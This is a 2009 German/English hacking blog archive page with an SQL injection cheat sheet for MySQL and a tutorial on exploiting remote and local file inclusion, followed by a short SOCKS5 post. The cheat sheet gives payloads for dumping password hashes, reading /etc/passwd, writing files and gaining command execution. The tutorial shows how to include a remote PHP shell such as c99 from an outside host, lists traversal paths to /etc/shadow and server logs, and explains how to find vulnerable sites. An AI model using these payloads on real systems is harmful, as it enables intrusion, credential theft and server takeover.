Archive for the './security' Category

SQL Injection Cheat Sheet

Mai 19, 2009
Version SELECT @@version
Comments SELECT 1; #comment
SELECT /*comment*/1;
Current User SELECT user();
SELECT system_user();
List Users SELECT user FROM mysql.user; — priv
List Password Hashes SELECT host, user, password FROM mysql.user; — priv
Password Cracker John the Ripper will crack MySQL password hashes.
List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs

SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns

List DBA Accounts SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‚SUPER‘;

SELECT host, user FROM mysql.user WHERE Super_priv = ‚Y‘; # priv

Current Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‚mysql‘ AND table_schema != ‚information_schema‘
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‚mysql‘ AND table_schema != ‚information_schema‘
Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‚username‘; — find table which have a column called ‚username‘
Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char SELECT substr(‚abcd‘, 3, 1); # returns c
Bitwise AND SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value -> Char SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii(‚A‘); # returns 65
Casting SELECT cast(‚1‘ AS unsigned integer);
SELECT cast(‚123‘ AS char);
String Concatenation SELECT CONCAT(‚A‘,’B‘); #returns AB
SELECT CONCAT(‚A‘,’B‘,’C‘); # returns ABC
If Statement SELECT if(1=1,’foo‘,’bar‘); — returns ‚foo‘
Case Statement SELECT CASE WHEN (1=1) THEN ‚A‘ ELSE ‚B‘ END; # returns A
Avoiding Quotes SELECT 0x414243; # returns ABC
Time Delay SELECT BENCHMARK(1000000,MD5(‚A‘));
SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests Impossible?
Command Execution If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access …‘ UNION ALL SELECT LOAD_FILE(‚/etc/passwd‘) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‚/tmp/somefile‘; — priv, write to file system
Hostname, IP Address Impossible?
Create Users CREATE USER test1 IDENTIFIED BY ‚pass1‘; — priv
Delete Users DROP USER test1; — priv
Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%‘; — priv
Location of DB files SELECT @@datadir;
Default/System Databases information_schema (>= mysql 5.0)
mysql
Werbeanzeigen

RFI/LFI Start Up!

März 7, 2009

Ein schon etwas älteres Paper von mir, in diesem ich die Ausnutzung von Remote & Local File Inclusions erkläre.

Remote/Local File Inclusion Tutorial

1.] Was sind Remote/Local File Inclusions?
2.] Wie funktioniert es?
2.] Ein verwundbarer Code
3.] Beispiele
4.] LFI: Tipps
5.] RFI: Tipps
6.] Wie finde ich LFI / RFI Lücken?

In diesem Tutorial werden euch grundsätzlich die Basics zu Remote & Local File Inclusion erläutert.
Um näher an die Materie zu kommen, müsst ihr euch mit diesem Tutorial auseinandersetzen und herumprobieren.
Spielen, learning by doing.

Was sind Remote File Inclusions?

Ausführungen von unkontrolliertem Schadcode in (meist) PHP Software.
Angriffe geschehen meistens über unvalidierte Parameter in $_GET*-Form (get-Parameter).

*Ein in der Sprache PHP genannter GET Parameter ist Folgendes, wie ihr es aus vielen Seiten kennt:

Bsp.: http://vuln.com/phpscript/index.php?site=

Als Schadcode wäre z.B eine PHP-Shell (c99,r57) zu bezeichnen.

Wie funktioniert es?

Eine Remote File Inclusion funktioniert überall dort, wo auch ein unvalidierter und damit verwundbarer Parameter vorhanden ist.

Was sind Local File Inclusions?

Local File Inclusions funktionieren ähnlich wie RFIs, durch verwundbare Parameter, jedoch können nur lokale Dateien eingebunden und aufgerufen werden. Dies macht es für einen Angreifer z.B bei Unix Servern interessant, da dort eine password-Datei im Verzeichnis /etc/shadow vorhanden ist.
Bei noch zuvorkommender Fehlkonfiguration sind die root-Daten schnell für den Angreifer auslesbar. Natürlich lassen sich auch andere Dateien damit auslesen, wie z.B. bei Apache Servern die Error Logs (mehr dazu unter TIPPS).

Ein verwundbarer Code

Für jeden PHP Programmierer ist das Sicherheitsdenken am Wichtigsten.

Ein verwundbarer Programmcode in PHP, mit dem eine File Inclusion möglich wäre, würde so aussehen:

<?php
$datei = (empty($_GET[’site‘]) == false) ? $_GET[’site‘] : ‚0‘;
$datei = ‚.php‘;
include($datei);
?>

In unserem Webbrowser würde dies so aussehen:

http://site.com/phpscript/site.php?site=

Der Angreifer würde die ungeschützte URL so ausnutzen:

http://site.com/phpscript/site.php?s…com/shell.txt?

Die Shell muss in TXT form auf eurem Server liegen, da sie sonst eventuell nicht richtig vom anderen Server ausgeführt (interpretiert) wird.

Also würde über

http://site.com/phpscript/site.php?site=http://hackme.com/shell.txt?&#8220;

der Schadcode in http://hackme.com/shell.txt? auf unserem verwundbaren Server ausgeführt werden.

LFI: Tipps

Bei LFIs lassen sich z.B. Rootverzeichnisse überspringen, indem man ein ../ setzt. Diese Punkte bedeuten, dass dort das jeweilige Verzeichnis übersprungen wird. Dadurch können wir meist, bei vollen Rechten, jeden entsprechenden Serverpfad aufrufen und uns so zu vielen Dateien Einblick verschaffen.
Die password-Datei eines Linuxservers befindet sich meistens im Pfad etc/pwd oder etc/passwd. Dies ist jedoch von Server zu Server unterschiedlich, manchmal ist es auch ../etc/pwd oder auch ../../etc/pwd oder auch manchmal var/etc/pwd. Da gilt es nur, herumzuprobieren.
Bei neueren Servern befinden sich in der pwd Datei allerdings nur die User, um an die Passwörter heranzukommen müssen wir an die Shadow-Datei herankommen.
Dazu nehmen wir die Datei etc/shadow, die alle Passwörter enthält. Der Pfad kann wie oben leicht variieren.

RFI: Tipps

Wenn man eine RFI Lücke gefunden hat, kann man diese am besten mit einer Shell ausnutzen. Im Internet findet man genug Shells wie c99, r57. Das sind PHP-Skripte und werden auf einen Webspace hochgeladen. Mit der RFI-Lücke inkludieren wir dann die Shell in die Originalseite, wie man es mit dem PHP-Befehl include() tut. So hat man die komplette Kontrolle über die Internet-Seite. Man kann mit einer Shell Dateien löschen, Datenbanken auslesen, etc.

Pfade, die für eine Local/Remote Inclusion relevant sein können:

(Unix Benutzer- und Passwortfiles.)

/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

(Apache Error Log Pfade

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

Wie finde ich LFI / RFI Lücken?

LFI:
Hierzu sucht man nach dem gewöhnlichen Muster, wie z.B. bei einer SQL Injection.
z.B. index.php?site=
Wir können es also Versuchen und fügen dann ../ hinzu.
z.B. index.php?site=../
Bekommen wir dadurch einen Fehler oder springen auf eine andere Seite, wo wir vorher waren, ist die Chance recht groß, dass man eine LFI Lücke gefunden hat.

RFI:
Hierzu sucht man nach dem gewöhnlichen Muster, wie z.B. bei einer SQL Injection und/oder LFI.
z.B. index.php?site=
Um zu sehen ob fremde Seiten eingefügt werden können, benutzen wir ganz einfach Google. Wir hängen also http://www.google.de an.
z.B. index.php?site=http://www.google.de
Es klingt zwar verrückt, aber wenn wir jetzt Google sehen, haben wir eine RFI Lücke gefunden, das können wir dann mit einer Shell ausbauen. Das funktioniert übrigens auch mit jeder anderen Internetseite!

Unix Socks5 with mocks…

März 6, 2009

In diesem Tutorial erlaütere ich, wie man einen Socks5 Server auf Unix basis Installiert und einrichtet.

http://nopaste.org/p/aW3VKtqDI

Viel Spaß damit 😛